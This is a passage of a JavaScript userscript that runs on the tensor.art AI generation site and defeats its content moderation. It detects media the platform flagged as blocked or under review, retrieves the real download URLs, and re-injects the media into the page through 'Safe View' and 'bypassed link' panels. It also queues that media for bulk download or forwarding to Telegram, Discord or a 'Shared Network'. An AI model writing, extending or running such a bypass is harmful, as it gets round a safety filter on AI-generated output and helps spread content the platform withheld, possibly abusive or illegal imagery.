        info.lastSeenAt = Date.now();
        if (typeof taskData?.processPercent === 'number') info.processPercent = taskData.processPercent;
        pendingTasks.set(taskId, info);
        if (taskData?.status === 'FINISH' || taskData?.status === 'FAILED' || taskData?.status === 'FAIL') {
          pendingTasks.delete(taskId);
        }
      }

      if (taskData?.status !== 'FINISH' || !Array.isArray(taskData?.items) || taskData.items.length === 0) continue;

      for (const item of taskData.items) {
        if (!isForbidden(item)) continue;
        const imageId = item?.imageId;
        if (!imageId || imageId === '0') continue;

        // Ensure the final URL is cached (and optionally download via the queue).
        try {
          await ensureDownloadUrl(imageId, item?.mimeType || '');
        } catch {
          // ignore; queue or UI can retry
        }

        if (settings.autoDownload) {
          const meta = getItemMetaFromId(imageId) || {};
          enqueueTaskAction('download', imageId, meta, false);
        }
      }
    }
  }

  async function pollMgetTaskForPendingTasks() {
    if (!settings.autoTaskDetection) return;
    if (pendingTasks.size === 0) return;

    // Avoid polling on non-tensor.art domains.
    if (!/tensor\.art$/i.test(window.location.hostname)) return;

    const now = Date.now();
    if (now - lastMgetTaskPollAt < 2500) return;
    lastMgetTaskPollAt = now;

    const taskIds = Array.from(pendingTasks.keys()).filter(Boolean);
    if (!taskIds.length) return;

    const token = await getToken();
    if (!token) return;

    const url = 'https://api.tensor.art/works/v1/works/mget_task';
    const headers = {
      'Content-Type': 'application/json',
      'Authorization': `Bearer ${token}`,
      ...settings.headers
    };

    const makeBody = (mode) => mode === 'ids' ? { ids: taskIds } : { taskIds };

    try {
      let resp = await originalFetch(url, {
        method: 'POST',
        headers,
        body: JSON.stringify(makeBody(mgetTaskRequestMode))
      });

      // One-time fallback if the payload shape is different.
      if (!resp.ok && mgetTaskRequestMode === 'taskIds') {
        mgetTaskRequestMode = 'ids';
        resp = await originalFetch(url, {
          method: 'POST',
          headers,
          body: JSON.stringify(makeBody(mgetTaskRequestMode))
        });
      }

      if (!resp.ok) return;
      const data = await resp.json().catch(() => null);
      if (!data) return;
      lastMgetTaskSeenAt = Date.now();
      await handleMgetTaskBody(data, 'mget_task (poll)');
    } catch {
      // ignore
    }
  }

  function handleTasksResponse(body, sourceLabel) {
    if (!body?.data?.tasks?.length) return;

    const patched = patchTensorTasksQueryResponseBody({ data: { tasks: body.data.tasks } });
    const tasks = patched.changed ? patched.body.data.tasks : body.data.tasks;

    cacheTasks(tasks);

    mergeTasksIntoItems(tasks, sourceLabel, { autoShow: settings.autoShowPanel, updateUIAfter: true });
  }

  async function injectBlockedMediaIntoDom(options = {}) {
    if (settings.xhrInterceptEnabled) {
      return;
    }
    const { forceBypass = false } = options;
    const safeViewEnabled = settings.safeViewMode && !forceBypass;
    const bypassDeferVideo = !forceBypass;
    const scanId = ++domInjectScanCounter;
    const scanStartedAt = Date.now();
    const scanStats = {
      roots: 0,
      type1Cards: 0,
      type1NoTaskId: 0,
      type1NoTaskData: 0,
      type1NoSlotHost: 0,
      type1NoBlockedUi: 0,
      type1MissingBypassUrl: 0,
      type1SafeButtonsAdded: 0,
      type1Injected: 0,
      type2Panels: 0,
      type2SkippedAlreadyHandled: 0,
      type2NoTaskData: 0,
      type2NoContainerOrSlots: 0,
      type2NoInvalidOrBlocked: 0,
      type2Injected: 0,
      type2SafeButtonsAdded: 0,
      templateCards: 0
    };

    console.log(`[InjectDOM][Scan#${scanId}] Start`, {
      forceBypass,
      safeViewEnabled,
      injectOnDom: settings.injectOnDom,
      safeViewMode: settings.safeViewMode,
      taskMapSize: taskMap.size,
      itemMapSize: itemMap.size,
      href: window.location.href
    });

    const rootCandidates = [
      document.querySelector('div.h-full.overflow-y-auto.pt-12.px-16.scroll-bar-base.bg-bg-on-primary'),
      document.querySelector('div.h-full.flex.flex-col.overflow-y-auto.scroll-bar-base'),
      document.querySelector('div.mt-24.overflow-x-hidden.overflow-y-auto.flex-1'),
      document.querySelector('div.overflow-y-auto.flex-1'),
      document.querySelector('div.border-stroke-secondary.border-1.rd-12.max-h-full.flex-1.flex.flex-col.overflow-hidden'),
      document.querySelector('div.flex.flex-col.gap-24.my-20.px-12'),
      document.body,
      document.documentElement
    ].filter(Boolean);

    const roots = [];
    for (const candidate of rootCandidates) {
      if (!roots.includes(candidate)) roots.push(candidate);
    }

    scanStats.roots = roots.length;

    if (!roots.length) {
      console.log(`[InjectDOM][Scan#${scanId}] No roots found`, {
        triedSelectors: rootCandidates.length,
        href: window.location.href
      });
      return;
    }

    const cacheSnapshot = loadCache();
    const cachedTasks = Array.isArray(cacheSnapshot?.tasks) ? cacheSnapshot.tasks : [];

    // Helper function to add Telegram section
    const addTelegramSection = (slot, itemImageId, taskId, createdAt) => {
      if (!settings.telegramEnabled || !settings.telegramChatId) return;

      let telegramSection = slot.querySelector('[data-bypass-telegram-section]');
      if (telegramSection) return; // Already added

      telegramSection = document.createElement('div');
      telegramSection.setAttribute('data-bypass-telegram-section', 'true');
      telegramSection.style.cssText = `
        margin-top: 12px;
        padding: 12px;
        background: linear-gradient(135deg, rgba(0, 136, 204, 0.1), rgba(0, 136, 204, 0.05));
        border: 1px solid rgba(0, 136, 204, 0.3);
        border-radius: 8px;
        display: flex;
        align-items: center;
        gap: 8px;
      `;

      const label = document.createElement('span');
      label.style.cssText = `
        font-size: 12px;
        font-weight: 600;
        color: #0088cc;
        flex: 1;
      `;
      label.innerHTML = '<i class="fab fa-telegram"></i> Send to Telegram';

      const button = document.createElement('button');
      button.style.cssText = `
        background: linear-gradient(135deg, #0088cc, #005fa3);
        color: white;
        border: none;
        padding: 6px 12px;
        border-radius: 6px;
        cursor: pointer;
        font-size: 12px;
        font-weight: 600;
        transition: all 0.3s ease;
      `;
      button.innerHTML = '<i class="fas fa-paper-plane"></i> Send';
      button.onmouseover = () => {
        button.style.transform = 'translateY(-2px)';
        button.style.boxShadow = '0 6px 16px rgba(0, 136, 204, 0.4)';
      };
      button.onmouseout = () => {
        button.style.transform = 'translateY(0)';
        button.style.boxShadow = 'none';
      };
      button.onclick = async () => {
        button.disabled = true;
        button.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
        try {
          const meta = getItemMetaFromId(itemImageId) || {};
          const mimeType = meta.mimeType || '';
          const downloadUrl = await ensureDownloadUrl(itemImageId, mimeType);
          if (downloadUrl) {
            const result = await sendToTelegram(downloadUrl, mimeType || 'image/*', taskId, createdAt, '', itemImageId, {
              workspaceType: meta.workspaceType,
              templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
              templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
            });
            if (result?.ok) {
              alert(result.mode === 'url' ? 'URL sent to Telegram.' : 'Sent to Telegram.');
            } else {
              alert(`Failed to send: ${result?.error || 'Unknown error'}`);
            }
          }
        } catch (err) {
          alert(`Error: ${err.message}`);
        }
        button.disabled = false;
        button.innerHTML = '<i class="fas fa-paper-plane"></i> Send';
      };

      telegramSection.appendChild(label);
      telegramSection.appendChild(button);
      slot.appendChild(telegramSection);

      attachInjectedHelpTooltip(button, 'Send this blocked media to your Telegram chat.');
    };

    const addStatusOverlay = (slot, imageId) => {
      if (!slot || !imageId) return;
      const existing = slot.querySelector('[data-bypass-status-overlay]');
      if (existing) return;

      slot.classList.add('bypass-status-wrap');
      const overlay = document.createElement('div');
      overlay.className = 'bypass-status-overlay';
      overlay.setAttribute('data-bypass-status-overlay', 'true');
      overlay.setAttribute('data-bypass-image-id', imageId);

      const icons = renderStatusIcons(imageId);
      overlay.innerHTML = icons || '<i class="fas fa-circle" title="No status"></i>';

      slot.appendChild(overlay);
    };

    const addBypassedLinkRow = async (slot, item) => {
      if (!settings.showBypassedLink || !slot || !item?.imageId) return;
      // Link row has been moved into the task Download panel.
      // Remove any old absolute overlays if they exist.
      slot.querySelectorAll('[data-bypass-link-row]').forEach(el => el.remove());
    };

    const addCopyMenuButton = (containerEl) => {
      // Don't add copy menu on template pages - they have dedicated bypassed link row
      if (isTemplateLikePage()) return;
      if (!containerEl || !settings.enableCopyBypassedLinks || !settings.copyInjectOnPage) return;
      if (containerEl.querySelector('[data-bypass-copy-menu]')) return;

      const wrap = document.createElement('div');
      wrap.setAttribute('data-bypass-copy-menu', 'true');
      wrap.style.cssText = 'position:relative;';

      const trigger = document.createElement('button');
      trigger.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
      trigger.style.cssText = 'display:flex;align-items:center;justify-content:center;width:40px;height:40px;';
      trigger.title = 'Copy bypassed links';
      trigger.innerHTML = '<i class="fas fa-copy"></i>';

      const menu = document.createElement('div');
      const menuBg = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-bg-primary') || '#0f172a' : '#0f172a';
      const menuBorder = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-stroke-secondary') || '#475569' : '#475569';
      menu.style.cssText = `display:none;position:absolute;right:0;top:46px;z-index:99999;background:${menuBg};border:1px solid ${menuBorder};border-radius:8px;min-width:180px;padding:6px;box-shadow:0 12px 24px rgba(0,0,0,0.4);`;

      const addMenuItem = (label, format) => {
        const b = document.createElement('button');
        b.type = 'button';
        b.textContent = label;
        const textColor = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-text-secondary') || '#e2e8f0' : '#e2e8f0';
        const hoverBg = settings.inheritTheme ? getComputedStyle(document.body).getPropertyValue('--color-fill-secondary') || '#1e293b' : '#1e293b';
        b.style.cssText = `display:block;width:100%;text-align:left;background:transparent;border:none;color:${textColor};padding:8px;border-radius:6px;cursor:pointer;font-size:12px;`;
        b.onmouseenter = () => b.style.background = hoverBg;
        b.onmouseleave = () => b.style.background = 'transparent';
        b.onclick = async (e) => {
          e.stopPropagation();
          menu.style.display = 'none';
          try {
            await copyBypassedLinks(format);
          } catch (err) {
            alert(`Copy failed: ${err.message}`);
          }
        };
        menu.appendChild(b);
      };

      addMenuItem('Copy all as Text', 'text');
      addMenuItem('Copy all as JSON', 'json');
      addMenuItem('Copy all as XML', 'xml');
      addMenuItem('Copy all as HTML', 'html');

      trigger.onclick = (e) => {
        e.stopPropagation();
        menu.style.display = menu.style.display === 'none' ? 'block' : 'none';
      };

      document.addEventListener('click', () => {
        menu.style.display = 'none';
      });

      wrap.appendChild(trigger);
      wrap.appendChild(menu);
      containerEl.appendChild(wrap);
    };

    const getTensorButtonClass = (type = 'primary') => {
      const anySiteBtn = document.querySelector('button.n-button');
      const baseClass = (anySiteBtn && anySiteBtn.className) || '__button-dark-njtao5-blmme n-button n-button--medium-type n-button--ghost';
      const cleaned = baseClass
        .split(/\s+/)
        .filter(Boolean)
        .filter(c => !/^n-button--(primary|success|warning|error|info)-type$/.test(c))
        .join(' ');
      return `${cleaned} n-button--${type}-type`;
    };

    const findTaskIdForContainer = (container) => {
      if (!container) return null;
      const direct = container.getAttribute('data-bypass-task-id');
      if (direct) return direct;

      const ancestors = [
        container.closest('div.min-h-100'),
        container.closest('div.bg-bg-primary'),
        container.closest('section'),
        container.parentElement
      ].filter(Boolean);

      for (const root of ancestors) {
        const header = root.querySelector('h3.c-text-secondary');
        const headerId = extractTaskIdFromHeaderText(header?.textContent || '');
        if (headerId) return headerId;

        const textNodes = root.querySelectorAll('h3, h4, span, div, p');
        for (const node of textNodes) {
          const text = node?.textContent || '';
          if (!text.includes('ID:')) continue;
          const id = extractTaskIdFromHeaderText(text);
          if (id) return id;
        }
      }

      return null;
    };

    const findAssociatedMediaContainer = (startEl, fallbackRoot = null) => {
      if (!startEl) return null;
      const seen = new Set();

      const inspectCandidate = (candidate) => {
        if (!(candidate instanceof HTMLElement) || seen.has(candidate)) return null;
        seen.add(candidate);

        const directSlotMatch = candidate.matches('div.space-y-12')
          && candidate.querySelector('div.relative.group.h-auto.min-h-0.w-full');
        if (directSlotMatch) return candidate;

        const directMediaGrid = candidate.matches('div.mt-12.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-8')
          && getMediaSlots(candidate).length;
        if (directMediaGrid) return candidate;

        const childCandidates = Array.from(candidate.children || []);
        for (const child of childCandidates) {
          if (!(child instanceof HTMLElement)) continue;
          if (child.matches('div.space-y-12') && child.querySelector('div.relative.group.h-auto.min-h-0.w-full')) {
            return child;
          }
          if (child.matches('div.mt-12.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-8') && getMediaSlots(child).length) {
            return child;
          }
        }

        return null;
      };

      let current = startEl instanceof HTMLElement ? startEl : null;
      const stopAt = fallbackRoot instanceof HTMLElement ? fallbackRoot : null;

      while (current) {
        let sibling = current.nextElementSibling;
        while (sibling) {
          const found = inspectCandidate(sibling);
          if (found) return found;
          sibling = sibling.nextElementSibling;
        }
        if (current === stopAt) break;
        current = current.parentElement;
      }

      if (stopAt) {
        return inspectCandidate(stopAt);
      }

      return null;
    };

    const getTaskMediaItems = (taskData) => {
      const items = Array.isArray(taskData?.items) ? taskData.items : [];
      return items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
    };

    const findTensorNativeActionRow = (root) => {
      if (!root) return null;
      const interactiveEls = Array.from(root.querySelectorAll('button, [role="button"]'));
      const match = interactiveEls.find((el) => /publish|download|dislike/i.test(String(el.textContent || '').trim()));
      if (!match) return null;

      let current = match.parentElement;
      while (current && current !== root) {
        const directInteractiveChildren = Array.from(current.children || []).filter((child) => {
          if (!(child instanceof HTMLElement)) return false;
          if (child.matches('button, [role="button"]')) return true;
          return !!child.querySelector('button, [role="button"]');
        });
        const combinedText = directInteractiveChildren.map((child) => String(child.textContent || '').trim()).join(' ');
        if (directInteractiveChildren.length >= 2 && /publish|download|dislike/i.test(combinedText)) {
          return current;
        }
        current = current.parentElement;
      }

      return match.parentElement || null;
    };

    const addTensorQuickQueueButtons = (root, taskData, taskId) => {
      if (!root || !taskData) return false;

      const canTelegram = !!settings.tensorInjectTelegramButtons && !!settings.telegramEnabled && !!settings.telegramToken && !!settings.telegramChatId;
      const canDiscord = !!settings.tensorInjectDiscordButtons && !!settings.discordEnabled && !!settings.discordWebhook;
      if (!canTelegram && !canDiscord) return false;

      const items = getTaskMediaItems(taskData);
      if (!items.length) return false;

      const actionRow = findTensorNativeActionRow(root);
      if (!actionRow) return false;

      const key = String(taskData?.taskId || taskId || taskData?.routeId || '').trim();
      if (!key) return false;
      const existing = actionRow.querySelector(`[data-bypass-tensor-quick-actions="${key}"]`);
      if (existing) return true;

      const quickWrap = document.createElement('div');
      quickWrap.setAttribute('data-bypass-tensor-quick-actions', key);
      quickWrap.style.cssText = 'display:inline-flex; align-items:center; gap:8px; flex-wrap:wrap; margin-left:8px;';

      const queueItems = (action, platformLabel) => {
        const allowDuplicate = !settings.preventDuplicateTasks;
        let queued = 0;
        items.forEach((item) => {
          if (!item?.imageId) return;
          enqueueTaskAction(action, item.imageId, getItemMetaFromId(item.imageId), allowDuplicate);
          queued += 1;
        });
        if (!queued) {
          showToast(`No media found to queue for ${platformLabel}.`, 'warning');
          return;
        }
        processTaskActionQueue();
        updateGlobalActionProgressFromQueue();
        updateTaskActionPanelsStatus();
        freeInternetConsoleLog('Tensor', 'success', `Queued ${queued} task media item(s) to ${platformLabel}`, {
          taskId: taskData?.taskId || taskId || null,
          routeId: taskData?.routeId || null,
          action,
          items: queued,
          source: 'native-hover-action'
        });
        showToast(`Queued ${queued} item(s) to ${platformLabel}`, 'success');
      };

      const makeBtn = (platform) => {
        const isTelegram = platform === 'telegram';
        const btn = document.createElement('button');
        btn.type = 'button';
        btn.setAttribute('data-bypass-tensor-quick-btn', platform);
        btn.style.cssText = `
          display:inline-flex;
          align-items:center;
          gap:6px;
          padding:6px 10px;
          border-radius:999px;
          border:1px solid ${isTelegram ? 'rgba(0, 136, 204, 0.45)' : 'rgba(88, 101, 242, 0.45)'};
          background:${isTelegram ? 'rgba(0, 136, 204, 0.14)' : 'rgba(88, 101, 242, 0.14)'};
          color:${isTelegram ? '#8ed9ff' : '#c7d2fe'};
          font-size:11px;
          font-weight:700;
          cursor:pointer;
          white-space:nowrap;
          transition:transform 0.16s ease, filter 0.16s ease, border-color 0.16s ease;
        `;
        btn.innerHTML = `<i class="${isTelegram ? 'fab fa-telegram' : 'fab fa-discord'}"></i> ${isTelegram ? 'Telegram' : 'Discord'}`;
        btn.onmouseenter = () => {
          btn.style.transform = 'translateY(-1px)';
          btn.style.filter = 'brightness(1.08)';
        };
        btn.onmouseleave = () => {
          btn.style.transform = 'translateY(0)';
          btn.style.filter = 'none';
        };
        btn.onclick = (event) => {
          event.preventDefault();
          event.stopPropagation();
          hideActiveInjectedTooltip();
          hideActiveBlockedTooltip();
          queueItems(platform, isTelegram ? 'Telegram' : 'Discord');
        };
        attachInjectedHelpTooltip(btn, `Queue every media item from this task to ${isTelegram ? 'Telegram' : 'Discord'}.`);
        return btn;
      };

      if (canTelegram) quickWrap.appendChild(makeBtn('telegram'));
      if (canDiscord) quickWrap.appendChild(makeBtn('discord'));
      if (!quickWrap.childElementCount) return false;

      actionRow.appendChild(quickWrap);
      return true;
    };

    const getBlockedTaskItems = (taskData) => {
      const mediaItems = getTaskMediaItems(taskData);
      const blocked = mediaItems.filter(item => {
        const rawUrl = String(item?.url || '');
        return item?.invalid === true || /forbidden\.jpg|reviewing\.png/i.test(rawUrl);
      });
      const ranked = (blocked.length ? blocked : mediaItems).slice().sort((a, b) => {
        const aScore = (a?.invalid ? 2 : 0) + (getCachedDownloadUrl(a?.imageId || '', a?.mimeType || '') ? 1 : 0);
        const bScore = (b?.invalid ? 2 : 0) + (getCachedDownloadUrl(b?.imageId || '', b?.mimeType || '') ? 1 : 0);
        if (aScore !== bScore) return bScore - aScore;
        return String(a?.imageId || '').localeCompare(String(b?.imageId || ''));
      });
      // Fallback: if moderation flags are missing, use all media items so Safe View buttons still work.
      return ranked;
    };

    const addTaskCompactActionsPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
      if (!anchorEl) return false;
      const key = taskData?.taskId || taskId || '';
      const existing = anchorEl.querySelector(`[data-bypass-task-actions="${key}"]`);
      if (existing) return true;

      const panel = document.createElement('div');
      panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
      panel.style.position = 'relative';
      panel.setAttribute('data-bypass-task-actions', key);

      const header = document.createElement('div');
      header.className = 'flex-c-sb';
      const title = document.createElement('h3');
      title.className = 'text-16 c-text-primary fw-600';
      title.innerHTML = '<i class="fas fa-layer-group" style="margin-right: 6px;"></i> Task Actions';
      const statusWrap = document.createElement('div');
      statusWrap.className = 'flex-c gap-4';
      const statusText = document.createElement('span');
      statusText.className = 'text-12 c-text-tertiary';
      statusText.setAttribute('data-bypass-task-action-status', key);
      statusText.textContent = 'Ready';
      statusWrap.appendChild(statusText);
      header.appendChild(title);
      header.appendChild(statusWrap);

      const actionsRow = document.createElement('div');
      actionsRow.className = 'flex-c gap-8';

      const invalidItems = getBlockedTaskItems(taskData);
      const allItems = getTaskMediaItems(taskData);

      const enqueueItems = (items, action) => {
        const allowDuplicate = !settings.preventDuplicateTasks;
        items.forEach(item => enqueueTaskAction(action, item.imageId, getItemMetaFromId(item.imageId), allowDuplicate));
        processTaskActionQueue();
        updateGlobalActionProgressFromQueue();
        updateTaskActionPanelsStatus();
      };

      const makeIconBtn = (icon, title, onClick, onRightClick) => {
        const btn = document.createElement('button');
        btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
        btn.style.cssText = 'display:flex; align-items:center; justify-content:center; width:40px; height:40px;';
        btn.title = title;
        btn.innerHTML = `<i class="${icon}"></i>`;
        btn.onclick = (e) => {
          e.stopPropagation();
          hideActiveInjectedTooltip();
          hideActiveBlockedTooltip();
          onClick();
        };
        btn.addEventListener('contextmenu', (e) => {
          if (!onRightClick) return;
          e.preventDefault();
          e.stopPropagation();
          onRightClick();
        });
        attachInjectedHelpTooltip(btn, title);
        return btn;
      };

      if (settings.telegramEnabled && settings.telegramChatId) {
        actionsRow.appendChild(makeIconBtn('fab fa-telegram', 'Send all to Telegram', () => enqueueItems(allItems, 'telegram'), () => enqueueItems(invalidItems, 'telegram')));
      }
      if (settings.discordEnabled && settings.discordWebhook) {
        actionsRow.appendChild(makeIconBtn('fab fa-discord', 'Send all to Discord', () => enqueueItems(allItems, 'discord'), () => enqueueItems(invalidItems, 'discord')));
      }

      if (settings.sharedNetworkEnabled) {
        actionsRow.appendChild(makeIconBtn(
          'fas fa-network-wired',
          'Send all to Shared Network',
          () => {
            if (!sharedNetIsConfigured()) {
              showToast('Shared Network is disabled or not configured', 'warning');
              return;
            }
            sharedNetSendTaskNow(key, taskData, 'injected-task-actions')
              .then(() => showToast('Shared Network: sent task', 'success'))
              .catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
          },
          () => {
            if (!sharedNetIsConfigured()) {
              showToast('Shared Network is disabled or not configured', 'warning');
              return;
            }
            sharedNetSendItemsNow(invalidItems, 'injected-task-actions-blocked')
              .then(() => showToast('Shared Network: sent blocked items', 'success'))
              .catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
          }
        ));
      }

      actionsRow.appendChild(makeIconBtn('fas fa-download', 'Download all', () => enqueueItems(allItems, 'download'), () => enqueueItems(invalidItems, 'download')));

      const safeViewBtn = makeIconBtn('fas fa-eye', 'Safe View (reveal all)', async () => {
        const panelRoot = anchorEl.closest('div.bg-bg-primary') || anchorEl;
        const spaceContainer = findAssociatedMediaContainer(insertBeforeEl || anchorEl, panelRoot)
          || panelRoot.querySelector('div.space-y-12')
          || panelRoot.querySelector('div.mt-12.flex.flex-wrap.gap-12')
          || panelRoot;
        const mediaSlots = getMediaSlots(spaceContainer);
        const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
        for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
          await injectItemIntoSlot(blockedSlots[i], invalidItems[i], taskData, taskId, { deferVideo: false });
        }
      });
      safeViewBtn.addEventListener('mouseenter', hideActiveBlockedTooltip);
      safeViewBtn.addEventListener('click', hideActiveBlockedTooltip);
      actionsRow.appendChild(safeViewBtn);

      panel.appendChild(header);
      panel.appendChild(actionsRow);

      // Add bypassed link row on template pages
      if (isTemplateLikePage() && allItems.length > 0 && settings.showBypassedLink) {
        (async () => {
          const bypassedUrls = [];
          const isBlockedPreviewUrl = (u) => /forbidden\.jpg|reviewing\.png/i.test(String(u || ''));
          for (const item of allItems) {
            const normalized = {
              id: item?.imageId,
              url: item?.url,
              mimeType: item?.mimeType,
              type: getItemType(item?.mimeType)
            };
            const candidate = normalized.url && !isBlockedPreviewUrl(normalized.url)
              ? normalized.url
              : await withTimeout(getPreviewUrlForItem(normalized), 5000).catch(() => null);
            if (candidate && !isBlockedPreviewUrl(candidate)) {
              bypassedUrls.push(candidate);
              // Important: make this URL discoverable by Shared Network exports.
              try {
                const kind = getMediaKindFromMime(item?.mimeType || '');
                setCachedDownloadUrl(String(item?.imageId || normalized.id), candidate, item?.mimeType || '', kind === 'video' ? 'video' : '');
              } catch {}
            }
          }

          if (bypassedUrls.length > 0) {
            const existingRow = panel.querySelector('[data-bypass-link-row]');
            if (existingRow) existingRow.remove();
            const linkRow = document.createElement('div');
            linkRow.setAttribute('data-bypass-link-row', 'true');
            linkRow.style.cssText = 'margin-top:8px;background:rgba(15,23,42,0.78);border:1px solid rgba(99,102,241,0.35);border-radius:8px;padding:6px 8px;font-size:10px;color:rgb(226,232,240);display:flex;gap:6px;align-items:center;';

            const text = document.createElement('div');
            text.style.cssText = 'flex:1 1 0;min-width:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:monospace;';
            text.textContent = bypassedUrls[0];

            const openBtn = document.createElement('button');
            openBtn.type = 'button';
            openBtn.title = 'Open bypassed URL';
            openBtn.style.cssText = 'border:none;background:rgb(99,102,241);color:rgb(255,255,255);border-radius:6px;padding:4px 6px;cursor:pointer;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i>';
            openBtn.onclick = (e) => {
              e.stopPropagation();
              window.open(bypassedUrls[0], '_blank');
            };

            const copyBtn = document.createElement('button');
            copyBtn.type = 'button';
            copyBtn.title = 'Copy bypassed URL';
            copyBtn.style.cssText = 'border:none;background:rgb(51,65,85);color:rgb(255,255,255);border-radius:6px;padding:4px 6px;cursor:pointer;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i>';
            copyBtn.onclick = async (e) => {
              e.stopPropagation();
              await navigator.clipboard.writeText(bypassedUrls[0]);
            };

            const deleteBtn = document.createElement('button');
            deleteBtn.type = 'button';
            deleteBtn.title = 'Delete this task from cache (Permanent / Regainable / Hide)';
            deleteBtn.style.cssText = 'border:none;background:rgb(127,29,29);color:rgb(255,255,255);border-radius:6px;padding:4px 6px;cursor:pointer;';
            deleteBtn.innerHTML = '<i class="fas fa-trash"></i>';
            deleteBtn.onclick = (e) => {
              e.stopPropagation();
              hideActiveInjectedTooltip();
              hideActiveBlockedTooltip();
              showDeleteCacheDialog(key);
            };

            linkRow.appendChild(text);
            linkRow.appendChild(openBtn);
            linkRow.appendChild(copyBtn);
            linkRow.appendChild(deleteBtn);
            panel.appendChild(linkRow);
          }
        })();
      }

      if (insertBeforeEl && insertBeforeEl.parentElement) {
        insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
      } else {
        anchorEl.appendChild(panel);
      }
      updateTaskActionPanelsStatus();
      return true;
    };

    const addTaskTelegramPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
      if (isTemplateLikePage()) {
        addTaskCompactActionsPanel(anchorEl, taskData, taskId, insertBeforeEl);
        return;
      }
      if (!settings.telegramEnabled || !settings.telegramChatId || !settings.telegramToken) return;
      if (!anchorEl) return;

      const key = taskData?.taskId || taskId || '';
      const existing = anchorEl.querySelector(`[data-bypass-task-telegram="${key}"]`);
      if (existing) return;

      const panel = document.createElement('div');
      panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
      panel.setAttribute('data-bypass-task-telegram', key);

      const header = document.createElement('div');
      header.className = 'flex-c-sb';
      header.innerHTML = `
        <h3 class="text-16 c-text-primary fw-600"><i class="fab fa-telegram" style="margin-right: 6px;"></i> Telegram</h3>
        <div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Send all media for this task</span></div>
      `;

      const statusRow = document.createElement('div');
      statusRow.className = 'flex-c gap-8';
      statusRow.style.justifyContent = 'space-between';
      statusRow.style.alignItems = 'center';

      const statusText = document.createElement('div');
      statusText.className = 'text-12 c-text-tertiary';
      statusText.textContent = 'Ready to send.';

      const retryBtn = document.createElement('button');
      retryBtn.type = 'button';
      retryBtn.tabIndex = 0;
      retryBtn.className = getTensorButtonClass('warning');
      retryBtn.style.cssText = 'padding: 4px 10px; font-size: 12px; display: none;';
      retryBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;

      statusRow.appendChild(statusText);
      statusRow.appendChild(retryBtn);

      const toggleRow = document.createElement('label');
      toggleRow.className = 'flex-c gap-8 text-12 c-text-tertiary';
      toggleRow.style.cursor = 'pointer';
      const onlyBlockedInput = document.createElement('input');
      onlyBlockedInput.type = 'checkbox';
      onlyBlockedInput.style.cssText = 'cursor: pointer; width: 16px; height: 16px;';
      toggleRow.appendChild(onlyBlockedInput);
      toggleRow.appendChild(document.createTextNode('Send only blocked items'));

      const list = document.createElement('div');
      list.className = 'space-y-4';
      list.style.display = 'none';

      const buttonRow = document.createElement('div');
      buttonRow.className = 'flex-c gap-8';

      const sendBtn = document.createElement('button');
      sendBtn.type = 'button';
      sendBtn.tabIndex = 0;
      sendBtn.className = getTensorButtonClass('default');
      sendBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-paper-plane" style="margin-right: 6px;"></i> Send all to Telegram</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;

      const rowMap = new Map();
      let lastFailedItems = [];

      const ensureRow = (item) => {
        if (!item?.imageId) return null;
        let row = rowMap.get(item.imageId);
        if (row) return row;

        row = document.createElement('div');
        row.className = 'flex-c-sb';

        const left = document.createElement('div');
        left.className = 'flex-c gap-6';
        const idText = document.createElement('span');
        idText.className = 'text-12 c-text-secondary';
        idText.textContent = item.imageId;
        const typeText = document.createElement('span');
        typeText.className = 'text-12 c-text-tertiary';
        typeText.textContent = item.mimeType?.startsWith('video/') ? 'Video' : 'Image';
        left.appendChild(idText);
        left.appendChild(typeText);

        const statusBadge = document.createElement('span');
        statusBadge.className = 'text-12 c-text-tertiary';
        statusBadge.textContent = 'Queued';

        row.appendChild(left);
        row.appendChild(statusBadge);
        list.appendChild(row);
        rowMap.set(item.imageId, statusBadge);
        return statusBadge;
      };

      const setRowStatus = (itemId, text) => {
        const badge = rowMap.get(itemId);
        if (badge) badge.textContent = text;
      };

      const buildCandidates = () => {
        const items = Array.isArray(taskData?.items) ? taskData.items : [];
        let mediaItems = items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
        if (onlyBlockedInput.checked) {
          mediaItems = mediaItems.filter(item => item?.invalid === true);
        }
        return mediaItems;
      };

      const sendItems = async (itemsToSend, isRetry = false) => {
        const unique = [];
        const seen = new Set();
        for (const item of itemsToSend) {
          if (!item?.imageId || seen.has(item.imageId)) continue;
          seen.add(item.imageId);
          unique.push(item);
        }

        if (!unique.length) {
          statusText.textContent = 'No media found for this task.';
          return;
        }

        list.style.display = 'block';
        if (!isRetry || rowMap.size === 0) {
          list.innerHTML = '';
